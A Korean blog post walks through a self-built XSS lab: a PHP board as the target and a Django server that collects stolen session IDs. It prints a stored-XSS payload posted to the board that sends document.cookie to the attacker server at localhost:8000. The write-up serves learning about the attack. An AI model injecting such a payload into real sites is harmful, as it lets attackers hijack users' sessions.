XSS 실습

[Network] XSS 실습


이전에 네트워크를 공부하면서 XSS에 대한 내용을 접한 적이 있었다. 해당 내용을 공부하면서, 머릿속으로 이해는 된 것 같았으나 시간이 지나고 그 내용을 떠올리려 하는데 잘 떠오르지 않았다. 이에 간단한 실습을 해보면서 XSS의 개념을 되짚어보고자 한다.

실습 개요

XSS는 해커가 심어놓은 js코드를 다른 사용자가 실행하도록 의도하는 행위이다. 이 실습에서는 사용자의 세션ID를 훔치는 시나리오를 따른다. 이 실습을 위해선 해커가 권한을 얻고자 하는 목표 사이트, 해커의 서버가 필요하다. 목표 사이트는 php를 이용한 간단한 서버이고, 해커의 서버는 django로 만들었다. 말이 거창하지, XSS의 흐름을 대충 이해하기 위한 굉장히 간단한 실습이다.

목표 사이트

목표 사이트는 WAMP을 이용하여 간단하게 만들었다. 전형적인 게시판 사이트이고, 해커가 여기에 js코드가 삽입된 글을 올려서 다른 사용자가 해당 글을 볼 때 사용자의 세션ID를 훔칠 것이다.

타겟 홈페이지

해커의 사이트

해커 서버는 따로 HTML 페이지를 제작하지 않고, 세션ID를 훔친 모습을 보여주기 위해 다른 사용자의 세션ID를 훔쳤을 때 HttpResponse로 해당 내용을 페이지에 띄우도록 설정했다. 해커 서버 코드

실습 내용

1. 해커가 악성 게시글을 올린다.

해커가 올릴 내용은 아래와 같다.

1
2
3
4
안녕하세요 여러분 ㅎㅎ 반갑습니다.
<script>
window.open('http://localhost:8000/'+document.cookie);
</script>

해커 게시글 해커 글 올린 뒤

2. 다른 사용자가 해당 게시글 클릭

다른 사용자가 해당 게시글을 클릭하면, 해당 사용자에겐 일반적인 게시글이 보인다. 하지만 동시에 사용자의 세션ID가 해커의 사이트에서 출력된다. 아래 두 이미지의 url을 보면 사용자의 세션이 다른 사이트로 넘어갔음을 확실히 알 수 있다.

평범한 게시글 해커 서버에 세션

0%